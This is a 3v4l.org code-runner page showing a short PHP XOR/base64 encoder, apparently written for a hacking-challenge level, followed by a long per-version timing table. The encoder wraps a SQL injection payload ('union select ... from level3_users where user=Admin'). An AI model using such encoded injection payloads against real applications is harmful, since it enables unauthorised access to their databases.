3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo(encrypt("MTI5MTY0MTczMTY5MTc0 union select 1,2,3,4,5 from level3_users where user=Admin")); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0190.00318.50
8.3.50.0070.01222.11
8.3.40.0110.00318.68
8.3.30.0180.00419.08
8.3.20.0130.00620.01
8.3.10.0080.00021.92
8.3.00.0110.00722.20
8.2.180.0110.00418.41
8.2.170.0150.00422.96
8.2.160.0100.00720.94
8.2.150.0080.00024.18
8.2.140.0030.00524.66
8.2.130.0070.01126.16
8.2.120.0140.00717.60
8.2.110.0190.00322.00
8.2.100.0090.00319.51
8.2.90.0080.00019.17
8.2.80.0060.00318.16
8.2.70.0080.00017.75
8.2.60.0000.00817.80
8.2.50.0030.00518.07
8.2.40.0030.00618.16
8.2.30.0040.00418.04
8.2.20.0050.00317.82
8.2.10.0060.00319.46
8.2.00.0040.00417.67
8.1.280.0100.01025.92
8.1.270.0170.00322.14
8.1.260.0070.01026.35
8.1.250.0090.00628.09
8.1.240.0070.00323.82
8.1.230.0070.00419.05
8.1.220.0000.00917.79
8.1.210.0000.00818.77
8.1.200.0060.00617.22
8.1.190.0050.00317.50
8.1.180.0000.00818.65
8.1.170.0030.00618.46
8.1.160.0040.00422.12
8.1.150.0040.00418.53
8.1.140.0030.00617.43
8.1.130.0000.00717.82
8.1.120.0030.00317.37
8.1.110.0000.00817.44
8.1.100.0000.00817.46
8.1.90.0040.00417.41
8.1.80.0000.00817.40
8.1.70.0030.00517.40
8.1.60.0000.00817.60
8.1.50.0000.00817.45
8.1.40.0040.00417.58
8.1.30.0040.00417.64
8.1.20.0040.00417.71
8.1.10.0040.00417.62
8.1.00.0030.00517.46
8.0.300.0000.00818.77
8.0.290.0000.00717.30
8.0.280.0070.00018.39
8.0.270.0060.00317.30
8.0.260.0040.00416.75
8.0.250.0030.00317.02
8.0.240.0050.00316.77
8.0.230.0040.00416.96
8.0.220.0000.00716.85
8.0.210.0000.00716.91
8.0.200.0030.00517.04
8.0.190.0030.00517.02
8.0.180.0040.00417.02
8.0.170.0040.00416.82
8.0.160.0040.00416.82
8.0.150.0000.00816.93
8.0.140.0070.00016.93
8.0.130.0000.00513.37
8.0.120.0040.00416.87
8.0.110.0070.00016.95
8.0.100.0080.00016.98
8.0.90.0000.00716.82
8.0.80.0060.00916.98
8.0.70.0030.00516.74
8.0.60.0080.00016.93
8.0.50.0000.00717.03
8.0.30.0080.01617.06
8.0.20.0140.00517.40
8.0.10.0000.00816.88
8.0.00.0050.01216.92
7.4.330.0000.00615.00
7.4.320.0070.00016.48
7.4.300.0030.00316.48
7.4.290.0070.00016.50
7.4.280.0000.00716.62
7.4.270.0030.00316.55
7.4.260.0000.00716.64
7.4.250.0040.00416.43
7.4.240.0050.00216.57
7.4.230.0000.00816.67
7.4.220.0100.00716.57
7.4.210.0060.00916.57
7.4.200.0040.00416.66
7.4.190.0000.00716.82
7.4.160.0100.01016.59
7.4.150.0110.00617.40
7.4.140.0090.01117.86
7.4.130.0120.00816.53
7.4.120.0050.01316.56
7.4.110.0060.01216.60
7.4.100.0030.01416.59
7.4.90.0140.00316.48
7.4.80.0050.01419.39
7.4.70.0130.00316.46
7.4.60.0110.00516.47
7.4.50.0040.00416.54
7.4.40.0080.00322.77
7.4.30.0100.00716.53
7.4.10.0100.01016.21
7.4.00.0080.00815.44
7.3.330.0000.00513.39
7.3.320.0000.00513.41
7.3.310.0050.00216.30
7.3.300.0030.00316.42
7.3.290.0040.00916.34
7.3.280.0060.01516.44
7.3.270.0130.00317.40
7.3.260.0120.00616.77
7.3.250.0110.01116.52
7.3.240.0030.01916.46
7.3.230.0140.00316.51
7.3.210.0120.01516.51
7.3.200.0070.01519.39
7.3.190.0060.01416.60
7.3.180.0030.01216.68
7.3.170.0080.00816.69
7.3.160.0100.01016.77
7.3.130.0070.01016.50
7.3.120.0100.00715.42
7.3.110.0100.00615.55
7.3.100.0090.00415.54
7.3.90.0060.00715.54
7.3.80.0070.00715.80
7.3.70.0080.00515.59
7.3.60.0060.00615.66
7.3.50.0080.00315.72
7.3.40.0090.00115.46
7.3.30.0080.00615.56
7.3.20.0040.01117.49
7.3.10.0110.00317.43
7.3.00.0060.00817.07
7.2.330.0110.00716.58
7.2.320.0110.01116.52
7.2.310.0080.00916.48
7.2.300.0030.01416.80
7.2.290.0090.00616.85
7.2.260.0060.01516.64
7.2.250.0060.01215.88
7.2.240.0060.01115.92
7.2.230.0070.00715.74
7.2.220.0060.00815.75
7.2.210.0050.01015.76
7.2.200.0020.00815.72
7.2.190.0070.00815.79
7.2.180.0080.00315.78
7.2.170.0050.00715.89
7.2.160.0060.00916.57
7.2.150.0000.01218.57
7.2.140.0070.00318.53
7.2.130.0080.00317.48
7.2.120.0100.00317.66
7.2.110.0100.00517.69
7.2.100.0060.00717.52
7.2.90.0050.00917.57
7.2.80.0090.00517.56
7.2.70.0070.00817.71
7.2.60.0080.00817.64
7.2.50.0100.00617.54
7.2.40.0060.00717.70
7.2.30.0090.00617.83
7.2.20.0050.00717.53
7.2.10.0040.00817.54
7.2.00.0020.01018.25
7.1.330.0090.00716.64
7.1.320.0070.00316.69
7.1.310.0050.00816.75
7.1.300.0090.00316.60
7.1.290.0090.00616.54
7.1.280.0050.01016.55
7.1.270.0050.01316.57
7.1.260.0070.00816.54
7.1.250.0090.00516.56
7.1.240.0110.00616.44
7.1.230.0050.00716.61
7.1.220.0050.00916.49
7.1.210.0070.00516.52
7.1.200.0040.00816.38
7.1.190.0070.00416.43
7.1.180.0070.00716.49
7.1.170.0100.00416.54
7.1.160.0050.00816.62
7.1.150.0010.01016.39
7.1.140.0020.01216.53
7.1.130.0100.00516.48
7.1.120.0060.00416.50
7.1.110.0050.00816.43
7.1.100.0060.01017.01
7.1.90.0040.00716.51
7.1.80.0040.00716.52
7.1.70.0040.01016.75
7.1.60.0050.00917.62
7.1.50.0070.00816.70
7.1.40.0050.00816.56
7.1.30.0050.00416.53
7.1.20.0060.00516.59
7.1.10.0040.00716.59
7.1.00.0040.03618.58
7.0.330.0070.00616.14
7.0.320.0060.00816.12
7.0.310.0050.00716.00
7.0.300.0070.00416.27
7.0.290.0080.00716.01
7.0.280.0100.00716.19
7.0.270.0090.00516.13
7.0.260.0080.00616.32
7.0.250.0090.00516.19
7.0.240.0040.00616.26
7.0.230.0060.00516.01
7.0.220.0020.01016.23
7.0.210.0040.00716.01
7.0.200.0110.00116.36
7.0.190.0090.00316.29
7.0.180.0070.00616.12
7.0.170.0040.00616.26
7.0.160.0050.00816.28
7.0.150.0040.00816.22
7.0.140.0070.02817.99
7.0.130.0070.00116.25
7.0.120.0030.01016.31
7.0.110.0050.00816.32
7.0.100.0080.00816.17
7.0.90.0090.00616.08
7.0.80.0060.00416.11
7.0.70.0050.00816.15
7.0.60.0080.03217.44
7.0.50.0060.01816.74
7.0.40.0080.01716.17
7.0.30.0090.02016.25
7.0.20.0050.02316.06
7.0.10.0080.02816.14
7.0.00.0060.02416.04
5.6.400.0070.00715.57
5.6.390.0070.00716.04
5.6.380.0090.00715.05
5.6.370.0060.00715.24
5.6.360.0060.00815.02
5.6.350.0050.00915.06
5.6.340.0050.01315.29
5.6.330.0030.01015.16
5.6.320.0060.00614.98
5.6.310.0050.00815.38
5.6.300.0040.00815.13
5.6.290.0090.00414.99
5.6.280.0070.02716.87
5.6.270.0030.01114.89
5.6.260.0050.00914.89
5.6.250.0050.00515.04
5.6.240.0070.00915.08
5.6.230.0070.00815.29
5.6.220.0050.00815.02
5.6.210.0080.02416.81
5.6.200.0040.03516.20
5.6.190.0030.03017.00
5.6.180.0210.03017.08
5.6.170.0170.02916.69
5.6.160.0020.02116.80
5.6.150.0090.02416.27
5.6.140.0090.03316.06
5.6.130.0110.03116.16
5.6.120.0120.02216.94
5.6.110.0070.03617.00
5.6.100.0080.03117.02
5.6.90.0090.03117.08
5.6.80.0020.02016.75
5.6.70.0080.00514.90
5.6.60.0070.00814.96
5.6.50.0050.01315.07
5.6.40.0040.01015.18
5.6.30.0070.00515.04
5.6.20.0050.00815.03
5.6.10.0060.00814.91
5.6.00.0060.00615.14
5.5.380.0040.00713.54
5.5.370.0080.00613.53
5.5.360.0070.00513.44
5.5.350.0130.02815.79
5.5.340.0050.01914.95
5.5.330.0050.02715.85
5.5.320.0160.03215.91
5.5.310.0170.02315.71
5.5.300.0070.03014.97
5.5.290.0080.02015.06
5.5.280.0070.02616.00
5.5.270.0050.03515.89
5.5.260.0050.02315.96
5.5.250.0070.03015.86
5.5.240.0090.03115.71
5.5.230.0060.00513.47
5.5.220.0040.00913.54
5.5.210.0020.00913.51
5.5.200.0090.00313.54
5.5.190.0050.00413.43
5.5.180.0020.01113.53
5.5.170.0030.01013.47
5.5.160.0070.00413.54
5.5.150.0070.00913.55
5.5.140.0060.00713.58
5.5.130.0050.00713.53
5.5.120.0030.00813.52
5.5.110.0000.01213.69
5.5.100.0050.00913.47
5.5.90.0030.00813.53
5.5.80.0070.00513.52
5.5.70.0060.00813.54
5.5.60.0040.00713.55
5.5.50.0070.00413.56
5.5.40.0050.00813.42
5.5.30.0050.00713.39
5.5.20.0050.00913.59
5.5.10.0100.00213.53
5.5.00.0040.01113.42
5.4.450.0360.01914.47
5.4.440.0250.01714.38
5.4.430.0380.01514.35
5.4.420.0470.02014.55
5.4.410.0230.01914.34
5.4.400.0180.01414.31
5.4.390.0260.01614.24
5.4.380.0110.02414.21
5.4.370.0190.02114.21
5.4.360.0120.02114.27
5.4.350.0110.02614.17
5.4.340.0040.02514.12
5.4.330.0050.00311.93
5.4.320.0040.01712.13
5.4.310.0030.02012.20
5.4.300.0030.02112.17
5.4.290.0050.02012.13
5.4.280.0060.01712.10
5.4.270.0060.01512.09
5.4.260.0070.02114.23
5.4.250.0080.02614.20
5.4.240.0070.02314.23
5.4.230.0030.02314.17
5.4.220.0070.02314.25
5.4.210.0040.03114.26
5.4.200.0110.03114.17
5.4.190.0080.02814.20
5.4.180.0030.03214.24
5.4.170.0050.02014.28
5.4.160.0050.02314.19
5.4.150.0080.02614.25
5.4.140.0080.02513.42
5.4.130.0050.02213.49
5.4.120.0060.03013.43
5.4.110.0040.02413.48
5.4.100.0080.02313.46
5.4.90.0100.02313.43
5.4.80.0040.02613.36
5.4.70.0080.02113.43
5.4.60.0140.02213.34
5.4.50.0020.02913.38
5.4.40.0070.02213.48
5.4.30.0040.02213.47
5.4.20.0030.02313.42
5.4.10.0040.03213.46
5.4.00.0030.03213.20
5.3.290.0030.02312.35
5.3.280.0110.01613.02
5.3.270.0050.02312.99
5.3.260.0050.02313.06
5.3.250.0070.02112.99
5.3.240.0060.02812.89
5.3.230.0070.02312.97
5.3.220.0030.02312.94
5.3.210.0080.02912.91
5.3.200.0070.02812.96
5.3.190.0040.02912.92
5.3.180.0020.02513.00
5.3.170.0040.02912.98
5.3.160.0060.02312.98
5.3.150.0060.02213.04
5.3.140.0010.02712.99
5.3.130.0050.01912.97
5.3.120.0030.02412.93
5.3.110.0060.02213.03
5.3.100.0050.02112.80
5.3.90.0010.02712.78
5.3.80.0050.02312.80
5.3.70.0050.02712.74
5.3.60.0100.02212.79
5.3.50.0070.02112.75
5.3.40.0050.02112.72
5.3.30.0060.02012.74
5.3.20.0070.01812.66
5.3.10.0050.02112.49
5.3.00.0030.02212.52
5.2.170.0030.02511.20
5.2.160.0010.02411.16
5.2.150.0050.02411.15
5.2.140.0020.03111.21
5.2.130.0030.03011.06
5.2.120.0000.02911.14
5.2.110.0040.02411.18
5.2.100.0060.03011.13
5.2.90.0020.02411.19
5.2.80.0030.03411.22
5.2.70.0030.03111.13
5.2.60.0080.02411.10
5.2.50.0050.03211.10
5.2.40.0080.02311.08
5.2.30.0060.02811.12
5.2.20.0020.03011.11
5.2.10.0080.02310.97
5.2.00.0060.02111.04
5.1.60.0110.02210.64
5.1.50.0030.01910.58
5.1.40.0060.01710.60
5.1.30.0070.02710.87
5.1.20.0050.02110.72
5.1.10.0070.01710.70
5.1.00.0070.02310.59
5.0.50.0060.0219.90
5.0.40.0020.0179.72
5.0.30.0030.0239.70
5.0.20.0020.0229.67
5.0.10.0080.0129.69
5.0.00.0020.0229.68
4.4.90.0020.0138.52
4.4.80.0020.0128.55
4.4.70.0060.0138.51
4.4.60.0010.0138.58
4.4.50.0050.0148.51
4.4.40.0030.0198.52
4.4.30.0070.0158.53
4.4.20.0020.0188.55
4.4.10.0020.0138.54
4.4.00.0000.0208.52
4.3.110.0010.0148.49
4.3.100.0030.0128.48
4.3.90.0030.0168.51
4.3.80.0060.0158.46
4.3.70.0050.0108.47
4.3.60.0020.0178.48
4.3.50.0030.0158.48
4.3.40.0030.0178.46
4.3.30.0050.0128.44
4.3.20.0030.0108.44
4.3.10.0040.0128.44
4.3.00.0030.01312.83

preferences:
41.18 ms | 401 KiB | 5 Q